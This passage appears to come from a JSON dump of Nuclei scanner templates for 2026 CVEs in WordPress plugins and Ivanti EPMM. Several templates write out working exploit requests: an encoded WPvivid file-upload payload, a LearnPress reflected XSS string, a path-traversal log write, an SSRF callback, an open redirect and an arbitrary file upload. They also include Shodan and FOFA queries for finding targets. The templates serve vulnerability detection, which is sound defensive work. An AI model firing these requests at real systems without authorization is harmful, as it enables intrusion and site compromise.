/wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=get_auth&meeting_id=123456789\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"success\\\":true\", \"\\\"sig\\\":\\\"eyJ\", \"\\\"type\\\":\\\"sdk\\\"\")'\n        condition: and\n\n    extractors:\n      - type: json\n        name: sdk_key\n        json:\n          - '.data.key'\n\n      - type: json\n        name: sdk_signature\n        json:\n          - '.data.sig'\n# digest: 490a0046304402201218427357d94ead7635e4c6bf3ffad410b58437f702eb3d4f627abf0b6e70a702202aed7046d432bf1df81e789057e66a25dba3d75b1526d047a1e4bbc181a2195a:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-1368.yaml","vuln_id":"cve-2026-1368"},{"raw":"id: CVE-2026-1357\n\ninfo:\n  name: WPvivid Backup & Migration <= 0.9.123 - Arbitrary File Upload\n  author: omarkurt\n  severity: critical\n  description: |\n    WPvivid Backup & Migration plugin for WordPress <= 0.9.123 contains an unauthenticated arbitrary file upload vulnerability caused by improper error handling in RSA decryption and lack of path sanitization, letting unauthenticated attackers upload arbitrary PHP files and achieve remote code execution via wpvivid_action=send_to_site parameter.\n  impact: |\n    Unauthenticated attackers can upload arbitrary PHP files and execute remote code, leading to full server compromise.\n  remediation: |\n    Update to the latest version of WPvivid Backup & Migration plugin.\n  reference:\n    - https://vulnerabletarget.com/VT-2026-1357\n    - https://github.com/LucasM0ntes/POC-CVE-2026-1357\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1357\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-1357\n    epss-score: 0.35115\n    epss-percentile: 0.98444\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: wpvivid\n    product: wpvivid-backuprestore\n    shodan-query: http.component:\"WordPress\"\n    fofa-query: body=\"wp-content/plugins/wpvivid-backuprestore\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,wpvivid,file-upload,rce,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        wpvivid_action=send_to_site&wpvivid_content=MDAzQUJDMDAwMDAwMDAwMDAwMDExMDUGpYqxgOo0%2FZM3%2BLE%2B23CYS%2BI8Sbr6wwwU6dJweFxMk%2BOogH3GIpPZZMrm72oUS3vnrlf0AXv1vmGVBIbLo3QcQs%2B4JU7cLQw1kWByCFlYkpHcBuzxjEbVtT8VSdFgb6NLW6cpP4BdWT8bJx%2F%2FAOO09m3EFtf2sOcE%2BJjFJAew%2BELondwDkz3u5mssxGaQrlvWgaIlmPwz3FZx8dWC%2FHy7k4P3S5IJ7JV0tefjHJKCOzjPHngkZENu1uI2LmE6JaeF7XdXJCcmFOrNex4yJgIO0raawogHW457fM4wXKDnrM3bwxeLn5KwvAgadaTj4F9zWHxnjBmpa%2BtIaohISVcA5%2BGv6cAA95rzOoXBGUaI\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"result\":\"success\"'\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/uploads/vt-nuclei-test.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"CVE-2026-1357-nuclei-verification-test\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502205760f51c05c10018c944d66fd2c7d3a584ba5e420853c668abcd2e09a1b9ae13022100f94387dc7938c8cf19f4d34a1b7b9e68bbebc25a20d3f1a4eaa3c6195379dc17:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-1357.yaml","vuln_id":"cve-2026-1357"},{"raw":"id: CVE-2026-1340\n\ninfo:\n  name: Ivanti EPMM < 12.8.0.0 - Remote Code Execution\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Ivanti Endpoint Manager Mobile contains a code injection vulnerability allowing unauthenticated attackers to execute arbitrary code remotely, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of Ivanti Endpoint Manager Mobile.\n  reference:\n    - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1340\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-1340\n    epss-score: 0.98639\n    epss-percentile: 0.99923\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ivanti\n    product: endpoint_manager_mobile\n    shodan-query: http.title:\"Ivanti User Portal\"\n    fofa-query: title=\"Ivanti User Portal\" || body=\"ui.login.css\"\n  tags: cve,cve2026,ivanti,epmm,mobileiron,rce,kev,passive,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /mifs/user/login.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Ivanti\")'\n          - 'compare_versions(version, \"< 12.8.0\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - 'ui\\.login\\.css\\?([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)'\n\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - 'ui\\.login\\.css\\?([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)'\n# digest: 490a00463044022060da72dc266028a9f946bd340189c6489ecc79a887fc3094f7f539bfdd7d47750220751f8d3a97aa06aa7a13b597cc557c5916df2d8db08b37c6b0f116ff26053da3:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-1340.yaml","vuln_id":"cve-2026-1340"},{"raw":"id: CVE-2026-13153\n\ninfo:\n  name: Essential Blocks < 6.4.0 - Information Disclosure\n  author: str4k3r\n  severity: medium\n  description: |\n    Gutenberg Essential Blocks WordPress plugin < 6.4.0 contains an information disclosure caused by unrestricted access to a public REST route exposing non-public WooCommerce sales metrics, letting unauthenticated users read product sales data.\n  impact: |\n    Unauthenticated users can access sensitive sales metrics, potentially exposing business-sensitive information.\n  remediation: |\n    Update to version 6.4.0 or later.\n  reference:\n    - https://wpscan.com/vulnerability/0401a229-9630-49ab-ae4b-53360cf5d109/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-13153\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-13153\n    epss-score: 0.01524\n    epss-percentile: 0.74716\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,wordpress,wp-plugin,essential-blocks,woocommerce,unauth\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/essential-blocks/v1/products?per_page=20\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"sold_count\":'\n          - '\"title\"'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100f03da271286977a21b5354f2211d88069ec8766de367df9920d3da00d4c6b79f022100971692891073321f2c363e3e920caae72935cdf1bced6d05d3ee5d28f874e740:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-13153.yaml","vuln_id":"cve-2026-13153"},{"raw":"id: CVE-2026-13147\n\ninfo:\n  name: WordPress Kirki < 6.0.12 - Server-Side Request Forgery\n  author: 0x_Akoko\n  severity: high\n  description: |\n    Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can make the server send HTTP requests to arbitrary hosts, potentially leading to internal network access or data exposure.\n  remediation: |\n    Update to version 6.0.12 or later.\n  reference:\n    - https://wpscan.com/vulnerability/kirki-ssrf\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-13147\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-13147\n    epss-score: 0.01466\n    epss-percentile: 0.7376\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: developer-developer\n    product: kirki\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/kirki/\"\n    shodan-query: http.html:\"/wp-content/plugins/kirki/\"\n    fofa-query: body=\"/wp-content/plugins/kirki/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,kirki,ssrf,oast\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"window.wp_kirki\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        internal: true\n        regex:\n          - 'nonce:\\s*\"([a-f0-9]{10})\"'\n\n  - raw:\n      - |\n        GET /wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-pre-built-html&elementUrl=http%3A%2F%2F{{interactsh-url}} HTTP/1.1\n        Host: {{Hostname}}\n        X-WP-Nonce: {{nonce}}\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n# digest: 490a00463044022029324355030d30399a288a9d020daf22500f4ecf57e77762c355273e87bfc95502206258e0b2c963232153af63326afe31360387b5fd2a9b5e6a5dbb9cf537d7407a:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-13147.yaml","vuln_id":"cve-2026-13147"},{"raw":"id: CVE-2026-1314\n\ninfo:\n  name: WordPress 3D FlipBook <= 1.16.17 - Information Disclosure\n  author: theamanrawat\n  severity: medium\n  description: |\n    WordPress 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin versions <= 1.16.17 contain a missing authorization vulnerability in multiple AJAX endpoints. The fb3d_send_posts_in, fb3d_send_post_pages, fb3d_send_posts_in_pages, fb3d_send_posts_in_first_page, and fb3d_send_post_first_page handlers are registered with wp_ajax_nopriv hooks but fail to verify the post status of requested flipbook entries. This allows unauthenticated attackers to retrieve full metadata, PDF URLs, and configuration data of private, draft, and password-protected flipbook posts.\n  impact: |\n    Unauthenticated attackers can access sensitive flipbook metadata, potentially exposing confidential information.\n  remediation:\n    Upgrade the 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin to version 1.16.18 or later.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/interactive-3d-flipbook-powered-physics-engine/vulnerability/wordpress-3d-flipbook-pdf-embedder-pdf-flipbook-viewer-flipbook-image-gallery-plugin-1-16-17-missing-authorization-to-unauthenticated-private-draft-flipbook-data-exposure-vulnerability\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1314\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cwe-id: CWE-862\n    cve-id: CVE-2026-1314\n    epss-score: 0.00892\n    epss-percentile: 0.59546\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: iberezansky\n    product: interactive_3d_flipbook\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/\"\n    fofa-query: body=\"/wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,3d-flipbook,exposure\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"3D FlipBook\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin-ajax.php?action=fb3d_send_posts HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"code\":0'\n          - '\"title\":'\n          - '\"post_type\":\"3d-flip-book\"'\n          - '\"post_name\":\"\"'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100ba90d57d6943a7ba79dfbdc91c90f6be22e0d42c08849e021d4b33da1df9541102204226e6ad0309efe08f6d75dab025568b66546bd884f7f4b1d0cbbcf57af927c3:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-1314.yaml","vuln_id":"cve-2026-1314"},{"raw":"id: CVE-2026-1306\n\ninfo:\n  name: WordPress midi-Synth <= 1.1.0 - Unauthenticated Arbitrary File Upload\n  author: pussycat0x\n  severity: critical\n  description: |\n    WordPress midi-Synth plugin \\u003C= 1.1.0 contains an unrestricted file upload vulnerability caused by missing file type and extension validation in the 'export' AJAX action, letting unauthenticated attackers upload arbitrary files and potentially execute remote code, exploit requires attacker to obtain a valid nonce exposed in frontend JavaScript.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files and potentially execute remote code on the server.\n  remediation: |\n    Update to the latest version of midi-Synth plugin.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/midi-synth/midi-synth-110-unauthenticated-arbitrary-file-upload-via-export-ajax-action\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-1306\n    epss-score: 0.04827\n    epss-percentile: 0.92011\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: wordpress\n    product: midi-synth\n    framework: wordpress\n  tags: cve,cve2026,wordpress,wp-plugin,midi-synth,file-upload,rce,intrusive\n\nvariables:\n  randstr: \"{{rand_base_string(8)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Origin: {{BaseURL}}\n        Referer: {{BaseURL}}/\n\n        action=export&nonce={{nonce}}&fileName={{randstr}}.txt&fileMidi={{base64(\"{{randstr}}\")}}\n\n      - |\n        GET /wp-content/plugins/midi-synth/sound/{{randstr}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        internal: true\n        regex:\n          - 'var midiSynth_nonce     = \"([a-z0-9]+)\"'\n        group: 1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code_3 == 200\n          - contains(body_3, \"{{randstr}}\")\n        condition: and\n# digest: 4a0a00473045022100de1e891f088cd325afe4fe90f8d1a9f1f63e22c8ded3b31356608a6ba2e2bdb4022016dc9c981a8220dc040cfa0d2ffc044e0cb45f4c43d54270f4d3d4755e738250:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-1306.yaml","vuln_id":"cve-2026-1306"},{"raw":"id: CVE-2026-13001\n\ninfo:\n  name: Podlove Podcast Publisher <= 4.5.1 - Arbitrary File Upload\n  author: aryu-ru\n  severity: critical\n  description: |\n    Podlove Podcast Publisher plugin for WordPress through 4.5.1 is vulnerable to arbitrary file uploads due to missing file type validation in the podlove_handle_cache_files function. The image cache derives the stored file extension from the path of the attacker supplied source URL, while the image validation is performed against a different file name taken from the full source URL, so a source URL whose path carries a dangerous extension is written to the cache with that extension.\n  impact: |\n    An unauthenticated attacker can write files with an arbitrary extension into the web accessible cache directory, which may make remote code execution and full site compromise possible.\n  remediation: |\n    Update Podlove Podcast Publisher to version 4.5.2 or later.\n  reference:\n    - https://github.com/podlove/podlove-publisher/commit/5b32468601e903bae2bcacfaf36ff583d2bc9387\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/f81a3429-f378-4295-adbe-ad6f1df59701?source=cve\n    - https://github.com/advisories/GHSA-7gcx-p8g5-3g9x\n    - https://plugins.trac.wordpress.org/changeset/3597461/podlove-podcasting-plugin-for-wordpress\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-13001\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-13001\n    epss-score: 0.03757\n    epss-percentile: 0.89925\n    cwe-id: CWE-20\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: podlove\n    product: podlove-podcasting-plugin-for-wordpress\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/podlove-podcasting-plugin-for-wordpress\"\n    fofa-query: body=\"/wp-content/plugins/podlove-podcasting-plugin-for-wordpress\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,podlove,file-upload,intrusive\n\nvariables:\n  rnd: \"{{randstr}}\"\n  marker: \"{{to_lower(rnd)}}\"\n  source: \"{{RootURL}}/{{marker}}.txt?/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/images/logo/podlove-publisher-icon-500.png\"\n  cid: \"{{md5(concat(source,marker))}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /?podlove_image_cache_url={{hex_encode(source)}}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={{marker}} HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /wp-content/cache/podlove/{{substr(cid,0,2)}}/{{substr(cid,2)}}/{{marker}}_original.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(hex_encode(body_2), \"89504e470d0a1a0a\")'\n          - 'contains(header_2, \"text/plain\")'\n          - 'status_code_2 == 200'\n        condition: and\n# digest: 4a0a00473045022100d39f47a4ac255aefecae90a610a8e340b72b604fd0335c9f215fc87bd1d49742022073e19955cd201b22984817ee4e072d844746d1429254f547caef68e677bcacf3:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-13001.yaml","vuln_id":"cve-2026-13001"},{"raw":"id: CVE-2026-12970\n\ninfo:\n  name: WordPress LearnPress < 4.4.1 - Cross-Site Scripting\n  author: anirbala98\n  severity: high\n  description: |\n    LearnPress < 4.4.1 does not escape the c_search parameter before reflecting it into the value attribute of the search input on the Course Builder questions page (/course-builder/questions/), allowing attribute-injection reflected XSS against authenticated admins/instructors.\n  impact: |\n    Attackers can execute arbitrary JavaScript in browsers of logged-in administrators or instructors, potentially leading to session hijacking or privilege escalation.\n  remediation: |\n    Update the plugin to version 4.4.1 or later.\n  reference:\n    - https://wpscan.com/vulnerability/d0a2780f-ab13-4bb8-935d-2aeba1de12d2/\n    - https://wordpress.org/plugins/learnpress/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-12970\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L\n    cvss-score: 7.1\n    cve-id: CVE-2026-12970\n    epss-score: 0.00467\n    epss-percentile: 0.40595\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: thimpress\n    product: learnpress\n    framework: wordpress\n  tags: cve,cve2026,wordpress,wp-plugin,learnpress,xss,authenticated\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: wordpress_test_cookie=WP%20Cookie%20check\n\n        log={{url_encode(username)}}&pwd={{url_encode(password)}}&wp-submit=Log+In&testcookie=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains(to_lower(header), \"wordpress_logged_in_\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /course-builder/questions/?c_search=%22%20autofocus%20onfocus%3Dalert(document.domain)%20x%3D%22 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"name=\\\"c_search\\\" value=\\\"\\\" autofocus onfocus=alert(document.domain) x=\\\"\\\"\")'\n          - 'contains(content_type, \"text/html\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a004630440220642f6ad2c1c2fdf8ea9c66fb53c84616162f6bf92e79f88a22756129c146381102203e8445ed38f79e2af6932e93e6c47c190f03ffb855232a4ff47de263f60aa46e:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-12970.yaml","vuln_id":"cve-2026-12970"},{"raw":"id: CVE-2026-1296\n\ninfo:\n  name: Frontend Post Submission Manager Lite <= 1.2.7 - Open Redirect\n  author: Shivam Kamboj\n  severity: medium\n  description: |\n    The Frontend Post Submission Manager Lite plugin for WordPress is vulnerable to Open Redirection in all versions up to, and including, 1.2.7 due to insufficient validation on the 'requested_page' POST parameter in the verify_username_password function. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action such as clicking on a link.\n  impact: |\n    Unauthenticated attackers can redirect users to malicious sites, potentially leading to phishing or malware exposure.\n  remediation: |\n    Update to a version later than 1.2.7 or the latest available version.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/frontend-post-submission-manager-lite/frontend-post-submission-manager-lite-127-unauthenticated-open-redirect-via-requested-page-parameter\n    - http://nvd.nist.gov/vuln/detail/CVE-2026-1296\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-1296\n    epss-score: 0.00515\n    epss-percentile: 0.44027\n    cwe-id: CWE-601\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,wordpress,wp,wp-plugin,redirect,frontend-post-submission-manager-lite\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log=&pwd=&wp-submit=Log+In&action=login&requested_page=https://oast.pro\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: header\n        regex:\n          - '(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.pro\\/?(\\/|[^.].*)?$' # https://regex101.com/r/L403F0/1\n\n      - type: status\n        status:\n          - 302\n# digest: 490a0046304402206642c70418599e11fd4be422724a1699c7572c3fe7c8db8da76015326ed313e002206108ccb5faf2b97629cdfedb6d5abbf576cad05493078f6d88088f53d775fd88:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-1296.yaml","vuln_id":"cve-2026-1296"},{"raw":"id: CVE-2026-12898\n\ninfo:\n  name: All-in-One WP Migration and Backup < 7.106 - Arbitrary Log File Write\n  author: iamatownboy\n  severity: medium\n  description: |\n    The All-in-One WP Migration and Backup WordPress plugin before 7.106 does not properly sanitise a user-supplied value before using it to build a file path. This makes it possible for unauthenticated attackers to create or append a log file in arbitrary locations outside the intended storage directory.\n  impact: |\n    Unauthenticated attackers can write log files outside the plugin storage directory, potentially leading to information disclosure or further compromise.\n  remediation: |\n    Update All-in-One WP Migration and Backup to version 7.106 or later.\n  reference:\n    - https://wpscan.com/vulnerability/c90553e4-8e1a-4c99-a28f-a0de8d635caa/\n    - https://wordpress.org/plugins/all-in-one-wp-migration/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-12898\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L\n    cvss-score: 6.5\n    cve-id: CVE-2026-12898\n    epss-score: 0.01352\n    epss-percentile: 0.71636\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: servmask\n    product: all-in-one-wp-migration\n    framework: wordpress\n    shodan-query: html:\"/wp-content/plugins/all-in-one-wp-migration/\"\n    fofa-query: body=\"/wp-content/plugins/all-in-one-wp-migration/\"\n    publicwww-query: \"/wp-content/plugins/all-in-one-wp-migration/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,all-in-one-wp-migration,traversal,log-write\n\nvariables:\n  logname: \"{{rand_text_alpha(8)}}\"\n  padding: \"{{repeat('p=1&', 5200)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/all-in-one-wp-migration/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body, \"All-in-One WP Migration\")\n          - compare_versions(version, \"< 7.106\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=ai1wm_export&secret_key=invalidkey&storage=/../../../../uploads/{{logname}}&{{padding}}end=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/uploads/{{logname}}.log\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains_any(body, \"Input variables exceeded\", \"PHP Request Startup\")\n        condition: and\n# digest: 4b0a00483046022100f0c547f57c0d91a9b786f112ff9820841d39c2acc294dc61829e47a507f738da022100ffdf92c3b4f259b31b6f8b79aa49562fa579188241fc8eeabd25b452ecf3b585:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-12898.yaml","vuln_id":"cve-2026-12898"},{"raw":"id: CVE-2026-1281\n\ninfo:\n  name: Ivanti EPMM <=12.7.0.0 - Unauthenticated Code Injection\n  author: rxerium\n  severity: critical\n  description: |\n    Ivanti Endpoint Manager Mobile (EPMM) versions 12.5.0.0 through 12.7.0.0 contain a code injection vulnerability that allows unauthenticated remote attackers to achieve arbitrary code execution on the target system.\n  impact: |\n    Unauthenticated remote attackers can execute arbitrary code on the EPMM appliance, leading to full system compromise. This vulnerability is actively exploited in the wild and listed in the CISA Known Exploited Vulnerabilities catalog.\n  remediation: |\n    Apply the Ivanti security patch for EPMM or upgrade to a version above 12.7.0.0. Restrict network access to the EPMM management interface.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1281\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog\n    - https://www.helpnetsecurity.com/2026/01/30/ivanti-epmm-cve-2026-1281-cve-2026-1340/\n    - https://www.cisa.gov/news-events/alerts/2026/01/29/cisa-adds-one-known-exploited-vulnerability-catalog\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-1281\n    epss-score: 0.98688\n    epss-percentile: 0.99924\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ivanti\n    product: endpoint-manager-mobile\n    shodan-query: product:\"Ivanti Endpoint Manager Mobile (EPMM)\"\n  tags: cve,cve2026,ivanti,epmm,code-injection,rce,unauth,kev,vkev,passive\n\nhttp:\n  - raw:\n      - |\n        GET /mics/login.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"<title>Ivanti System Manager: Sign In\")'\n          - 'contains(body, \"Ivanti. All rights reserved.\")'\n        condition: and\n\n      - type: dsl\n        dsl:\n          - '(compare_versions(version, \">= 12.5.0.0\") && compare_versions(version, \"< 12.6.0.0\")) || (compare_versions(version, \">= 12.6.0.0\") && compare_versions(version, \"<= 12.7.0.0\"))'\n\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '<div[^>]*class=\"[^\"]*product-version[^\"]*\"[^>]*>\\s*([0-9.]+)\\s*</div>'\n\n      - type: regex\n        name: detected_version\n        part: body\n        group: 1\n        regex:\n          - '<div[^>]*class=\"[^\"]*product-version[^\"]*\"[^>]*>\\s*([0-9.]+)\\s*</div>'\n# digest: 490a00463044022034fb79199452ea0e26a0fb2f7f0be2bc39b41c95d5551ff31c14d453151d4534022053237e242a2c0a8b8de6d283e86f1c66bb41c621de960798dd7669b902512859:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-1281.yaml","vuln_id":"cve-2026-1281"},{"raw":"id: CVE-2026-12800\n\ninfo:\n  name: Premium Packages – Sell Digital Products Securely - SQL Injection\n  author: HaroonArshad-53\n  severity: high\n  description: |\n    Premium Packages – Sell Digital Products Securely WordPress plugin <= 6.2.0 contains a SQL injection caused by insufficient escaping of 'code' parameter in CouponCodes::find() method, letting unauthenticated attackers extract sensitive database information via 